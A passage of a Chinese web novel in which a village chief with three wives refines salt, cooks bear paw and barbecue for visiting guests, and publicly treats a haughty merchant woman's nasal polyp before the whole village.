“哈哈哈,村长加油。”
“村长威武。”
三女被陈息的话,臊的脸蛋通红,这夫君哪里都好,就是嘴上没有把门的。
撵走了村民,陈息往炕上一躺,白蓉蓉早已烧好了热水侍候夫君洗澡。
“夫君...洗澡吧...”
白蓉蓉很鬼精,大夫人和瑶瑶姐都圆房了,自己一定要好好表现。
争取来个弯道超车,比瑶瑶姐先怀上夫君的孩子,那么自己的二夫人位置便坐实了。
小丫头很有办法,自己和秦瑶同一天进门的,自然要争一争。
“还是蓉蓉乖。”
陈息捏了一下她的小鼻子,当众脱光了衣服钻进盛了温水的木桶。
樊妍和秦瑶有些害臊不好意思看,白蓉蓉则是目光火热。
怪不得大夫人和瑶瑶姐昨晚叫的那么浪,原来夫君的东东那么大。
抿着嘴上前,大大方方说道:
“夫君,我来为你擦身子。”
陈息泡在温水里,听见这话呼吸顿时急促,偷偷瞥一眼樊妍秦瑶,二女同时别过头去。
尴尬的挠挠头,心想这两个娘子还在生自己的气,今晚一定要好好哄哄。
“蓉蓉去休息吧,我自己来。”
小丫头暂时还收不得,等稳定了二女情绪再说,白天用力过猛,此时躺在温水中别提有多舒服了。
洗好澡,吃了饭碗。
秦瑶的手艺日益精进,已经不再出现上次的问题。
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吃过了饭,开始教着三女提纯精盐。
没办法,这项工作暂时只能自己人来做,不是信不过村民,只是一旦传开,将引来无穷的麻烦。
马匹被狼吃了,他要尽早出盐,到陆达那里换马匹。
而且进山的路难走,还要修一条马匹进山的路。
想想就头疼,什么都要一点一滴做起。
三女有事做显得很开心,精盐提纯难度不大,三女学的有模有样,不多时,洁白的精盐提纯成功。
三女尝了尝,高兴的像个小孩子,精盐提纯这项本事她们已经掌握。
夫君简直太厉害了,好似任何困难在他这里都会轻易跨过。
陈息将三只**剥皮,再将精盐香料拌匀,做了满满一大缸咸肉。
这东西可是以后进山的口粮,不光有营养,而且可以快速恢复体力。
弄好了一切,已是午夜。
上炕睡觉。
由于劳累了一整天,陈息躺炕上便睡熟。
急的白蓉蓉时不时偷瞄一下,由于两人之间隔着秦瑶,她瞄了几次才确定夫君不是装睡。
一努嘴,别过身子硬睡。
秦瑶扭头瞟了一眼气鼓鼓的白蓉蓉,嘴角勾起一丝得逞的坏笑。
早就看这丫头不对劲,跟我抢二夫人的位置,太嫩了点。
秦瑶和白蓉蓉在一起久了,不像刚开始时的被动,这些天她已经摸透了白蓉蓉性子。
那点小心思丝毫没瞒住她。
想和夫君圆房,等我怀上了再说吧,哼。
翌日清晨。
陈息的小院外驶来两驾马车,前面马车车厢内传来两个女子交谈的声音。
“这就是陈神医的家吗?”
“是的小姨,我扶你下车。”
佐千千扶着小姨下车,望着陈息的小院面露愁色。
上次小姨那么对陈大哥,不知道陈大哥还愿不愿意帮小姨治病。
后面那辆马车车厢里,一老一小也下了车。
正是张神医师徒。
张神医将熊胆送回州府,便马不停蹄赶回白山县,得知苏家夫人也要前来找师父治病,便一同前来。
两名车夫将马车停好,都捧着礼品静立在一旁。
佐千千站在小院门前,给自己打足了劲,无论怎样,都要取得陈大哥的原谅。
仰起脖子,清了清嗓子,卯足了劲大喊:
“陈大哥在家吗?我带着小姨向你赔礼来了。”
这一嗓子,与清晨的鸡鸣喊重音了。
第70章 烧烤
陈息早起梳洗完毕,听见外面传来鸡鸣声,又好似不像。
挠了挠头,谁家鸡被阉了,怎么喊出了东厂的感觉。
佐千千和鸡鸣重音了,气的一跺脚。
刚才好不容易卯足了劲,被那只公鸡捣乱,烦人。
捡起一块小石子将公鸡吓走,再次清了清嗓子大喊:
“陈大哥,我是千千,带着小姨前来向您赔礼了。”
这一嗓子陈息算是听清了。
佐千千他是欢迎的,不过她小姨一同来了,指定不能给她小姨好脸色。
上次去她家为她治病,第一句就说自己是不三不四的人,要不看在佐千千面子上,根本不可能给他治病。
不过生气归生气,还不至于把人晾在外面。
以后还要卖佐千千皮毛呢,不因为她小姨的事落了脸面。
陈息推开屋门,一看就瞧见院外站着佐千千,今天她穿的很是端庄,脸上也抹什么粉,整个人显得很是清丽脱俗。
这副素面朝天的打扮,看得陈息眼前一亮。
上等的颜值,根本不需要花里胡哨的点缀。
“欢迎千千姑娘大驾光临,有失远迎,还望恕罪。”
陈息露出灿烂笑容,一句客套话说的十分得体,目的就给给她身边小姨听的。
寒舍简陋,但不失待客之道。
深宅大院,未必懂得礼数。
见陈息不但没埋怨自己,还主动出来迎接,佐千千开心极了,就知道陈大哥不是那么小肚鸡肠的人。
“哼,小女子哪敢应陈大哥远迎。”
佐千千十分开心,从马夫手里接过一大堆礼盒,欠身一礼:
“这是我小姨带给三位夫人的见面礼,望陈大哥不要嫌弃。”
说完话,就这么笑眯眯的看着陈息,撅着小嘴歪了一下脑袋,就是那么可爱。
小姨摘下面巾,从怀中拿出一个精美的小盒子,语气十分诚恳:
“感谢陈神医为妾身医病,这是您的诊金。”
小姨今天穿着端庄得体的裘衣,勾勒出玲珑有致的身材,下面一双黑色小皮靴,双脚并拢微微欠身,一看就是大家闺秀出身。
穿的再端庄,陈息对她也没兴趣,这女人天生拒人千里之外的冰冷气质,自己没那嗜好热脸贴冷屁股。
陈息没搭理她,打开院门将佐千千迎了进来,小姨尴尬的立在后面,双手捧着小盒子,走也不是,留也不是。
佐千千将一堆礼品塞到陈息手里,转身拿过小盒子直接塞到他怀里:
“感谢陈大哥收下,这些都是小姨的心意。”
扬起雪白的下巴,还对陈息眨眨眼,拉着小姨的手就往屋里进。
“三位嫂嫂,千千来看您啦。”
陈息被她这副自来熟的劲儿整懵了,这是我家还是你家啊?
这么熟的么。
摇头无奈一笑,刚想回屋,小院外又出来两人。
张神医带着小姑娘,同样手里捧着礼品,二人同时郑重一礼:
“师父您好,这是弟子送师娘们的见面礼。”
“师爷您好,这是......徒孙儿送师......师奶奶们的见面礼。”
张神医话说的贼顺,小姑娘说的却是磕磕巴巴的,凭空多了一位师爷,还有三位师奶奶。
陈息见到这一老一小差点晕倒,踏马的不是回州府了么,咋又来了?
看这风尘仆仆的样子,想必是连夜赶来的吧?
老头倒是挺精,不知道我住哪,故意和佐千千她们一起来。
你个老比登,真有你的。
陈息瞄着两人很久,一老一小见师父师爷没开口,就那么保持行礼的姿势。
“唉,进屋吧。”
陈息实在是无语了,一大早就特娘的晦气,各种奇葩都来了。
自己这是造了什么孽啊。
回到屋子,佐千千带着小姨已经和樊妍三女聊的火热。
你还别说,小姨对男人冷漠之极,对女人却很是热情,一会的功夫便和三女打成一片。
一口一个夫人的叫着,逗得三女很是开心。
小姑娘嘴巴很甜,主动和众女打起招呼,一口一个师奶奶的叫着,逗得大家很开心。
陈息一捂脑门。
要坏菜。
她们和娘子们混熟了,自己还怎么撵人?
樊妍性子那么善良,指定要开口为她们求情的。
果然不出所料。
“夫君...苏夫人说她的病就是夫君医好的,今天特地来感谢夫君的。”
“还给我们带来好多礼物,我...我想留苏夫人和小丫头一起吃饭,夫君...”
秦瑶和白蓉蓉也很开心,拉着小姨的手,显得十分亲昵。
“夫君我也想和苏夫人多聊聊,中午我们就在一起吃饭嘛。”
“是呀是呀夫君,苏夫人还送我一条丝手帕,你看,好漂亮的。”
陈息见三位娘子都与小姨混的熟,嘴角狠狠一抽,真是怕什么来什么。
但是娘子们都开口了,他怎能拒绝,心里还有一丝幻想,就是让她主动拒绝。
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“好,如果夫人不介意的话......”
话还没说完,小姨立即接话道:
“那妾身便恭敬不如从命。”
“那好吧,中午一起吃饭。”
三女得到夫君允许,显得很开心,又拉着小姨继续聊家常,好似有说不完的话。
陈息将礼盒放下就出门,他已经彻底无语了,好家伙,这是赖上了是吧?
将怀里的小盒子掏出来,这是小姨给自己的诊金。
要是价格不满意的话,中午就吃粗糠,中等满意的话,吃米饭,上等满意的话吃......
陈息心里一边念叨着,一边打开小盒子,一道金光映入眼帘。
里面躺着一条小黄鱼,拿在手里掂了掂,一两黄金,也就是十两银子。
满意的咧嘴一笑,看在你出手还算阔绰的份上,弄点好的吃。
正好昨天累了,今天好好补补。
不多时,村民们都来做伙计,这几天效率很快,后院的砖已经够盖一间房了,马上动工。
光盖房子可不行,还要修几个暗堡。
土匪一定还会来的,必须要打造一个坚固的防御基地。
这些东西他早有规划,房屋和暗堡的位置已经定好。
现在工人多,争取几天内完工。
带着二牛来到后院,将位置都标记出来,交给二牛处理。
二牛虽然憨憨的,但有一股子聪明劲,虽然不知道村长要干嘛,但执行力很强,很快便带着村民动工。
张神医给师娘们问了好,便跟着陈息各处走,师父到哪他到哪。
小跟屁虫大家都见过,今天来个老跟屁虫。
陈息见老头这副恭敬的样子,无奈苦笑:
“会切肉么?”
张神医连连颔首:
“回师父的话,弟子会切。”
陈息白了他一眼:
“你那老胳膊老腿的......”
张神医见师父怀疑自己能力,立即正色道:
“弟子虽医术愚钝,但刀法自认为还可以,师父可......”
张神医急切的想证明自己能力,却被陈息打断。
“行了,跟着我来吧。”
“中午我们吃熊掌,为师再给你们做一道拿手的菜。”
张神医一听师父要顿熊掌,笑的老脸褶子都撑开了,连连点头称是。
陈息拿出熊掌交给张神医处理,自己则去鼓捣点新鲜玩意。
将野鸡野兔拿出来,再切了些鹿角,调制好香料。
这一顿,叫做烧烤!
第71章 我撒盐哥是开玩笑的?
张神医虽说岁数大,但干活很是麻利。
不用陈息吩咐,已经将熊掌处理好,切成花刀,片片均匀,像拿尺子量好似的。
这一发现不禁令陈息咋舌,自己的刀工就很出色,这老头比自己居然不差多少。
不错。
不光会诊点小病,干厨子也挺有天分。
不白吃饭就行,总得会干点活。
他现在已经破罐破摔了,一个羊是赶,两个羊也是放。
佐千千小姨赖着不走,也不差这一老一小了。
材料已经备齐,从县里购的干蘑菇用水泡了泡,斥巨资买的蜂蜜化开,各种香料应接不暇。
熊掌被张神医洗的干干净净备好。
陈息起锅焯水,倒入珍贵的黄酒增香去腥。
下面他开始了表演,各种香料,蘑菇,精盐陆续下入锅中。
不多时,香气扑鼻。
屋内的众女也不聊天了,纷纷出来围观。
“陈大哥,你煮的是什么,这味道......好香啊。”
佐千千提着小鼻子嗅了嗅,哈喇子都要流出来了。
小姨也没见过如此美味,心中震惊的同时,还努力维持着大家闺秀的风范。
时不时瞟上几眼,锅中的食材令她非常好奇,怎么会这么香。
小姑娘和佐千千混的熟,两女站在一块,眨巴着大眼睛满脸期待,她知道师爷不光是神医,还是猎户。
锅里煮的一定是山珍吧。
师父节俭,自己跟着师父这么多年,吃过最好的山珍就是野蕨菜。
那味道苦苦的,不比药汤强多少。
跟师爷的这道菜相比,师父做的就像......不提也罢。
小姑娘馋了,不停的吞咽哈喇子。
樊妍三女就不用多说了,跟了夫君这么久,早知道夫君的手艺,此时也被这道菜的香气吸引。
师父不开口,张神医不敢说话,站在一旁学着师父的手艺,陈息每下入一样食材,他的白眉毛就跳动一下。
这些食材他都见过,平时根本舍不得买,尤其是师父将药材也丢入其中,这是他万万想不到的。
难道师父这是用熊掌煮药汤?
想把小姑娘喊来记,又觉得不妥,自己默默记在心里。
这道师父独门绝技,不知治什么病的中药汤,先后顺序记了下来。
先放大葱,后放姜,下了蘑菇,再添汤。
陈息做好了一切,拍了拍手,将锅盖盖上。
“那个哈,食材先保密,谁都不许偷看,待会还有一道工序呢。”
陈息故意卖了个关子,熊掌改成花刀,谁都认不出是啥。
装模作样背着手,迈着六亲不认的步伐出门,开始准备烧烤。
佐千千和小姑娘从陈息走后,便离不开灶台了。
两个小丫头卡眨巴大眼睛,时不时往灶里添些柴,两个小鼻子每隔一段时间便使劲嗅几下。
馋猫两个字,写满了两个小丫头的俏脸。
小姨陪着陈息的三个娘子在屋内聊天,该说不说,小姨哄人是有两把刷子的。
她知道,三个夫人是陈息的软肋,只要三个夫人发话,自己的病便有救了。
做了这么多年生意,讨得三个夫人欢心,还是很有把握的,何况她也是真心喜欢与她们相处。
在她们身上,她看到了高贵女人身上最珍贵的东西,善良、知性、内敛。
不知不觉中,几女相处的非常融洽,宛如一家人。
陈息切好了一大块最嫩的鹿肉,配上特制的佐料,时不时刷点蜂蜜,在炭火上来回翻烤。
张神医又跟来了,在旁边不言不语,白眉毛这次跳动的更厉害了。
师父这是开始教我了,我不能说话,只需看师父操作便是。
这秘方是以鹿肉做引,中药为辅,蜂蜜中和。
师父果真高人,制药都制的那么香,比自己熬的药汤香多了。
心里对陈息的崇拜,再次提升了一大截。
陈息又烤了一只野鸡,一只野兔。
忙活完烧烤。
回屋将熊掌大火收汁,浇上蜂蜜调了个色,红烧熊掌出锅。
午时,准时开饭。
一道道菜都被端上了餐桌,白蓉蓉还准备了几道清爽小菜,为众人盛上米饭,等着夫君开口。
陈息站起身来,为大家切好了鹿肉,每人一片,不多不少。
在众人诧异的目光下,这货一脸轻蔑的挽起袖子,抓了些粗瓷罐里的精盐,手臂抬高,手指轻轻舞动。
洁白的精盐打在手肘上散开,均匀的撒在鹿肉上。
陈息看着自己的杰作,满意的点点头,大手一挥:
“莱斯够!”
这个逼,必须要装的圆润。
我撒盐哥的成名动作是开玩笑的?
仪式感直接拉满。
在场所有人,全部被陈息的骚操作干懵圈了。
你看看我,我看看你,最后不约而同的将目光落在陈息身上。
这盐就非得洒在胳膊肘子上么,但这种视觉效果,就这么神奇的勾住了所有人期待。
陈息仰起头,想捋一下下颌,发现没有胡子,只能悻悻作罢。
要是有胡子就好了,这个逼,还能装的圆润翻倍。
晃悠着脑袋,嚣张的双手一摊:
“准备!”
听到准备二字,所有人都忍不住了,但陈息和大夫人没说开饭,她们不敢伸筷子。
陈息贴心的为所有人分了鹿肉,自己三个娘子的最大,张神医的最小。
他是故意的,岁数那么大了,吃多了不好消化。
为了老头的健康着想,又将野菜盘子放在他的眼前。
“开饭!”
陈息率先咬了一口鹿肉,味道真是不错,真正的山珍野味。
比后世那些养殖的,强的不止一星半点。
见陈息吃了,众人纷纷迫不及待的吃肉。
佐千千和小姑娘馋坏了,顾不得女子形象,每人咬了一大口,饱含汁水的鹿肉在口腔中炸开,两个小丫头幸福的都要哭了。
这也太香了。
香
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的两个小头眉眼弯弯,头不抬眼不睁,小嘴塞的满满的,腮帮子鼓鼓的。
樊妍三女在外人面前必须要维持夫人的形象,虽心中对夫君的手艺有着预估,但还是没想到,夫君给她们带来了如此大的惊喜。
仿佛什么食材到夫君手里,都能发挥出意想不到的效果,出奇的好。
夫君的手艺好,她们的心里跟抹了蜜似的,崩提有多开心了。
小姨出身大户家族,从小便知礼数,端庄大方就是她与生俱来的标签,小口咬下一块。
鹿肉进嘴,她的眼睛猛然瞪大,这味道,是盐?
从刚才陈息撒盐,她就隐约察觉不寻常,什么佐料那么洁白无瑕,而且粒粒分明。
这东西她没见过,以为是他秘制的佐料。
如今嘴里咬着鹿肉,那味道只有两个字表达,咸、鲜。
完全没有粗盐的苦涩味,粗盐她太了解不过了,家里世代拿着朝廷的盐引贩卖。
她心中还是有些不确定,拿着筷子蘸了蘸还没化开的精盐。
放在嘴里尝了尝。
瞳孔顿时收紧,心中泛起惊涛骇浪。
绝对是盐,而且还是上等的精盐,就连宫里的御盐都比之不过。
她的心脏剧烈跳动,手捂着胸口,半晌说不出话来。
这卖相,品质,味道,全完碾压市面上所有的盐。
佐千千发现小姨不对劲,关切的问道:
“小姨你不喜欢吃吗,咱们来陈大哥家做客,剩下食物是不礼貌的。”
随即将小姨碗里的鹿肉夹了去,放进嘴巴里嚼着,一脸满足。
小姨见状,简直无语**,这死丫头就是故意的。
自己刚咬了一小口,还没品出滋味,就被她抢了去。
“千千喜欢吃,便多吃些。”
小姨的怒气都要化为杀意了,心中默念:“这是我外甥女,和亲闺女一样,不气,不气。”
佐千千见小姨明明气成那样,还要努力维持着笑脸,嘻嘻一笑,夹起一块野鸡送到小姨碗里:
“小姨吃这个,这是陈大哥猎到的野味,很是鲜美。”
佐千千深知打一棒子,必须给颗红枣尝尝,不然小姨该真生气了。
见众人吃的开心,陈息将今天主菜放在中间。
“这道菜叫红烧熊掌,手艺不精,难登大雅。”
陈息想装个比,手艺精不精的,待会你们吃了就知道了。
话音落下,众人完全忽略陈息后面那段话,只关注眼前的熊掌。
什么手艺精不精的,生吃也不是不可以。
这个年代,百姓饭都吃不饱,熊掌这种御用的贡品都上桌了?
佐千千、小姨、小姑娘,下意识的四下看了看。
这也不是金銮殿啊。
咋就吃上熊掌了?
红烧熊掌被烧的很烂,汤汁浑厚饱满,蜂蜜调的色泽光亮。
光是这个卖相,就能看出这道菜一定差不了。
陈息满脸嘚瑟,环顾一圈后大手一挥:
“请!”
第72章 看我治不治你就完了
两只熊掌整齐的码在盘子中,看得所有人都流口水。
“苏夫人,您先。”
樊妍很热情,夫君做的菜,自己作为大夫人定然要请客人先尝尝。
“好,谢谢大夫人。”
小姨不再客气,上一块鹿肉只吃了一小口,刚尝个盐味便被佐千千抢走,这次说什么也要完整的吃一块。
夹起一块肥嫩的熊掌,放在自己碗里。
这个季节的熊掌是最棒的,因为储存了足够冬眠需要的营养,绝对是珍品中的珍品。
小姨将熊掌夹到碗中并未立即吃,而是招呼着大家一起品尝,那股子端庄劲,恨得陈息牙根直痒痒。
你早这么通情达理,至于上次气的发病,浪费小爷的宝贵时间。
要不是因为你,我能收个老登当徒弟?
陈息想想这事就来气,给你治病?
治个屁!
陈息在心里暗戳戳的骂着,剩下的人可就不客气了。
每人夹起一块熊掌放在嘴里。
香甜软糯,醇香浑厚,这种顶级山珍入口即化,搭配上陈息特制的调料,绝了。
佐千千和小姑娘吃的嘴巴油汪汪的,恨不得将盘子都吃了。
张神医那块鹿肉最小,几口就吃完了,此刻夹起熊掌便吃。
嚼在嘴里,不住的点头。
师父将药材与食材搭配在一起,不光中和了药性,还有一股说不出的美味。
他懂得些药性,几味常见的药材搭配在一起,竟被师父融合的恰到好处。
老头吃的很美,师父在他心目中的形象,已经达到了2米多高。
樊妍三女瞧众人吃的开心,心里的自豪感都要溢出来了,这一切都是夫君带给她们的。
樊妍从一个吃了上顿没下顿寡妇,变成人人都羡慕的大夫人,只用了不足半月。
搁在以前,她想都不敢想。
秦瑶白蓉蓉更不用多说了,从犯妇到贵妇,其中的转变,只因为一个男人,那就是自己的夫君。
如果这个时代有阳光的话,那么夫君就是她们的太阳。
小姨将一块熊掌含在嘴里,一股莫名的情绪涌上心头。
当初陈息为自己诊病而来,而自己又是怎么对他的?
一句客套话没有,反而说人家是不三不四的男人。
人家不仅没怪罪自己失了礼数,还帮自己缓解症状。
无论从哪个角度出发,自己都是愧对人家的。
更让她羞愧的是,自己是有求于人到人家做客,人家还做了如此顶级的宴请,与自己的冷漠做法,形成强烈反差。
在心里暗骂一声,自己读了那么多书,当真是读到狗肚子里。
怎能是非不分,做出如此失礼之事。
不行,一定找个机会与陈神医缓和关系,好好报答他,不然一辈子心里难安。
还有一件事,刚才的精盐,她一定要搞明白,做了这么多年盐引生意,从其中敏锐的嗅到发财的机会。
如果这种精盐能量产,后续的商业价值,是自己不敢想象的。
她心里已经有了售卖计划,但不能当着大家面说,必须和陈神医私下沟通。
众人边吃边聊,一顿饭吃的宾主尽欢。
饭后,陈息又带着二牛等人开始建房,一下午的功夫便初具雏形,比计划中快了很多。
太阳快要下山,佐千千和小姨依旧没有走的意思,张神医一老一小本就打算常住这里与师父学本事,自然不会走。
陈息在院中摆上一张桌子,点燃火炉放在身边,炉上煮了一壶茶。
坐在自制的躺椅上,翘着二郎腿欣赏着落日余晖。
这是他近些日子最惬意的时刻,舒舒服服伸了个懒腰,望着天边落日余晖。
“夕阳无限好,只是近黄昏。”
想起自己今后的发展计划,随后摇了摇头,这种舒服日子不多了啊。
小姨和佐千千出门,正巧听见陈息念的两句诗。
眼睛一亮,她本就出身大家闺秀,平日里忙完了生意,很喜欢仿写一些诗词。
而且如此美的句子,她并没有听过。
难道这是陈神医自创的?
“陈神医好雅兴,敢问...陈神医能否将全诗读出来,妾身也好沾沾陈神医才气。”
她是没想到的,一个医者猎户,还能创出这种意境优美的诗句。
“嗯嗯——”
陈息见小姨和佐千千走来,清了清嗓子。
他想卖弄卖弄,文抄公的羞耻感,对他城墙厚的脸皮来说,毫无压力。
读书人的事,怎么能叫抄呢?
“向晚意不适。”
刚念完第一句,立即发觉不妙。
原诗下一句与此情此景不符,但眼珠子一转,这种问题怎么能难得住他呢?
大不了原创一句,反正自己一个猎户,没人笑话自己。
“向晚意不适。”
“驱车来到窝窝村。”
“夕阳无限好。”
“只是近黄昏。”
五言和七律的杂交,一首《在窝窝村村长家看夕阳》横空出世!
佐千千和小姨都听傻了,这......这......
陈息站起身来,一指两女,表情十分欠揍道:
“我知道你们在想什么,管他是五言还是七律,都不重要。”
“诗词一道,不必在意那些细节。”
突然,背负双手仰面朝天,口中轻叹一声:
“些许风霜罢了。”
那副装逼劲头,放在后世足以判他20年,不许减刑。
小姨再好的修养都要憋不住了,若不是佐千千在场,她肯定乐出声来。
好家伙,第一次听见五言绝句和七律的融合,竟......竟那么的不正经。
左千千上前,拍了拍陈息肩膀,嘴角向上一勾:
“好啦陈大哥,知道你有才华,别装啦,我和小姨有事求您。”
陈息这才回过头来,憋不住了吧,早就知道你俩来干啥。
“是你有事求我,还是......”
佐千千知道陈大哥心里还有些气,这也难怪他,上次被小姨骂的那么凶。
小眼神瞟向小姨,那意思太明显不过了,赶紧上前道歉呀,陈大哥或许会为你诊治。
小姨臊的脸蛋通红,知道自己有错现在,但......道歉的话,始终说不出口。
她本就性子清冷讨厌男子,此时要向陈息道歉,张了张嘴,不知该怎么说。
陈息见她这副为难的样子,心里有些不忍,毕竟人家都求上门来了,看在佐千千的面子上,还是......
伸出一只手,手掌向上,对着院门开口:
“夫人,天色已晚不必久留,请回吧。”
治你二大爷治,给你点脸了,骂完人都不会道歉的主,自己才没有那么贱皮子。
小姨被陈息突如其来的送客举动,搞得不知所措。
低着头,双手捏着衣角,留也不是,去也不是。
尴尬的脚指头在鞋里扣出个三室一厅。
樊妍一直留意着夫君,她就知道夫君不爱管苏夫人的事,看来只能自己出马了。
出了屋子来到陈息身边,拉过他的手晃了晃:
“夫君...”
樊妍一开口,陈息哪里能拒绝,白了小姨一眼,没好气道:
“躺着。”
小姨闻言一愣,躺着?躺哪里?
四周看了看,除了一个没有马的马车棚,就只剩眼前这张桌子能躺。
难不成......
“说话听不见是不是?”
陈息向桌子上努努嘴,就让她躺那。
要不是娘子开口,自己才懒得管你那点破事,死不死与自己有啥关系。
厌男症,我看你厌不厌命就完了,惯你那臭毛病。
小姨这下可愁坏了,这院子里光秃秃的,让自己一个妇人躺在院中的桌子上,这也太难为情了。
陈息见她犹豫,继续伸出一只手,手掌向上,对着院门开口:
“夫人,天色...”
“我躺。”
小姨见陈息还要赶自己走,哪里还敢废话,恨恨一咬牙,下定决心照他吩咐的去做。
看着那张还有些水渍的桌子,小姨委屈的都要哭了。
一跺脚,最终还是躺了上去,眼睛闭的死死的,脸红到脖颈子,浑身说不出的痒痒。
陈息一脸坏笑的点点头,今天不光要给你治病,还要治治你的臭毛病。
找出一大块树皮,弯成喇叭筒
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子形状,放在嘴前,扯脖子大喊:
“村民们都过来,村长为你们表演治病啦。”
一嗓子喊出还没完,用手揉了揉大脖子筋,刚才喊的猛,有点抻着筋了,揉了几下继续喊:
“大家快来呀,都学学本村长是怎么治病的。”
这两嗓子喊出来,全村沸腾。
“什么?村长要给人治病了?”
“没听说村长还会医术啊,赶快瞅瞅去。”
“王家婶子,快,别做饭了,赶快去看看村长治病。”
村民们都放下手里的活计,纷纷赶来陈息的小院。
不多时,人群里三层外三层,小院被围的水泄不通。
“劳烦让让,让让。”
人群中挤进来一个白眉毛白胡子老头。
“谢谢大家谢谢大家,我是村长的徒弟,我理应站在第一排。”
张神医很接地气,此刻脸都不要了,为了和师父学点医术,老胳膊老腿的,硬生生从拥堵的人群中挤了进来。
外面还有个小姑娘挤不进来,急的直跳脚,一边蹦一边喊:
“村长是我师爷,我也要站到第一排。”
有好心村民让出一道缝隙,小姑娘连忙往里挤,使出吃奶的劲,终于挤了进来。
小鼻子上蹭了一层黑灰,脸蛋也沾了不少泥,喘着粗气从怀里掏出纸笔,牢记使命一个字。
那就是...记!
小姨躺在桌子上,被陈息搞得彻底破防了。
她想过陈息会使点坏,没想到他这么坏。
周围站满了看热闹的村民,此时她才看明白了一切。
原来这张桌子就是为自己准备的,谁正经人家冬天院子里摆张桌子?
不过此时说什么都晚了,自己在窝窝村算是出了名了。
一个妇人家,当着全体村民的面被医病,什么厌男症厌女症的,看治不治你就完了。
一个大家闺秀,又是白山县唯二盐铺掌柜的,此刻在窝窝村.......
啧啧啧,想想都过瘾。
陈息满脸笑容,没想到自己威望可以啊,这么快就喊来了全村的人,双手一摊装作有些为难道:
“那个哈,大家都往后站点哈,不然本村长都要被挤出去了。”
陈息说完,突然一瞪眼珠子,指着一个要摸小姨屁股的孩童:
“那小屁孩别摸,这可是县里的贵人,待会急眼了咬你。”
吓跑了小孩,这货又贱兮兮的向小姨问道:
“对了,夫人叫啥来着?我介绍给村民们认识认识。”
小姨用手捂住脸,呜呜呜的哭个不停,自己不就是没道歉嘛,至于这样嘛。
早知道现在这样别人围观,宁愿死在家里也不来了。
佐千千拉住陈息的袖子,左右使劲晃悠两下,小姨都要被臊**,委屈巴巴的开口:
“陈大哥......”
陈息见她那副委屈样子,也觉得差不多得了,小姨都被自己整哭了,这事就算翻篇了。
“行了行了,我知道了。”
递给佐千千一个放心的眼神,随后从怀里掏出一柄类似于小剑的东西,在火上烧了烧。
来到小姨面前,一脸正色道:
“捂好了脸,把鼻子露出来。”
小姨很听话,知道陈息要帮他治病,一边哭一边把鼻子露出来。
张神医眼睛眨也不眨的盯着,生怕错过每一个细节。
小姑娘拿着纸笔,随即准备记录。
嘈杂的人群也安静了下来,村长这是要露本事了,一个个眼巴巴的盯着。
陈息眯着眼睛,从小姨的鼻孔看去,里面就是一块鼻息肉,不过受制于古代艺术不成熟,这东西光靠中药还是太慢了。
今天他要动一台小手术。
手指在鼻子上来回捏了捏,确定好方位,小剑伸进去,轻轻一挑。
小姨身子猛一哆嗦,一块息肉从鼻腔里被取出。
陈息掏出备好的药粉捧在手心,对准小姨的鼻子猛地一吹。
见药粉覆盖住伤口,这才满意的拍了拍手。
村民们见村长治完了病,管他看懂看不懂的,鼓掌就完了。
小院中,掌声雷动。
陈息轻咳两声:
“成功!”
第73章 安顿住所
随着陈息话音落下,小院中掌声再次激烈。
这些村民其实啥也没看懂,但是见村长从那贵人鼻子里取出点东西来,好像很厉害的样子。
但陈息是村长,整个窝窝村最有威望的男人,反正跟着鼓掌就完了。
“村长,那些县里有名的郎中大家都称呼神医,我看我们村长比那些神医都厉害。”
“对对对,我们村长才不叫神医呢,比他们厉害就叫医神。”
“不不不,我们村长长得俊,医术又好,应该叫医仙。”
“我觉得我们村长就是神仙转世,应该叫医神仙。”
有的村民听差了,以为是一神仙,连忙开口替村长辩解:
“什么一神仙,我们村长家中排行老二,你们都忘记了吗?”
“对了,确实是排行老二,那就叫二神仙。”
“二神仙威武!”
“二神仙威武!”
也不知哪个二逼起的头,村民都跟着高呼起来,窝窝村瞬间炸窝了。
陈息原本还在嘚瑟,听见二神仙这个外号,嘴角狠狠一抽,瞬间不淡定了。
“去去去,都给我滚回去做饭去。”
也不知哪个二逼给自己起个这么拉风的绰号,本村长这么帅都看不见么?
二神仙?这绰号就比陈二傻子强点...有限!
陈息怒了,这绰号绝不允许外传,不然自己以后还怎么混?
二神仙以后还要开战商业呢,你听哪个掌柜的叫二神仙?
呸,正经人谁叫二神仙。
陈息嘴里骂骂咧咧赶人,村民们一个个才嬉皮笑脸的离去。
有感恩的村民,互相之间还在小声商议,要给村长雕个二神仙的木牌,回家供起来。
陈息赶走了村民,小姨没有他的允许不敢起身,还在桌子上躺着。
她现在已经无所谓了,破罐子破摔,大萝卜脸不红不白的。
堂堂大户人家出来的小姐,在村里躺着被围观治病,她那颗羞耻的心早已**。
毁灭吧,她累了。
陈息为她检查下鼻子,然后微微点头,总算正过来了,不然歪个鼻子怎么看怎么别扭。
扭头看见一老一下站那懵逼,一个没看明白,一个没记明白。
“师父,您刚才......我没看清。”
“师爷,我...我...我不知道该...该怎么记。”
陈息无法和他们解释,本来就是割个鼻息肉,放后世都是不值一提的小手术,但现在却是超出他们的理解范围。
“行了,没看懂就多想想。”
陈息不是不想教,但一时半会的还真说不明白,要一个老中医去理解手术,需要一个适应过程。
“起来吧夫人,回去以后每天上一次药,几天就痊愈了。”
看小姨还在那里躺着,陈息准备撵人了。
他们四个一起来,一起回,挺好。
将药粉小瓶子塞给佐千千:
“天色不早了,你们都回吧。”
一听陈息要撵人,张神医和小姑娘着急了,他们来就是打算常住师父这里学本事,哪能轻易离开。
“师父莫怪,徒儿愚钝一时还看不懂师父医术,请给徒儿一些时日学习,必不负师父盛名。”
张神医擦了擦额头汗水,生怕师父赶他走。
小姨从桌子上起身,她也不想走,一是待在这里可以稳固病情,二是不知道陈息的精盐能不能量产。
她生病这段日子,苏家盐铺生意日渐萧条,王家有朝廷的盐引,私下里贩卖私盐,这几年赚的盆满钵满。
自己没有私盐的渠道,只能被动挨打,损失了大量客户,再这样下去,就要被王家吞的渣都不剩,世代传下的生意,不能毁在自己手里。
“我......我也想留下来。”
小姨说完,觉得有些不妥生怕陈息误会,连忙解释:
“我是为了稳固病情,放心,我会付饭钱和诊金。”
说着话,从怀里再次掏出一条小黄鱼,双手捧着向前一递:
“这是饭钱和诊金,若是不够的话,我让车夫回去再取。”
小姨表现的很尊重,人家已经彻底给她治了病,若是再不大方一些,后续有关精盐的消息也问不出来。
陈息看了看小姨手里的金条,并未伸手去接,反而看向张神医和小姑娘。
看看吧,人家付了饭钱,你俩准备白吃白住?
张神医理解能力很强,他知道师父缺钱,早就备好了银子。
从怀里掏出一大锭银子,官印10两。
“师父,这是徒儿的饭钱。”
陈息依旧不说话,
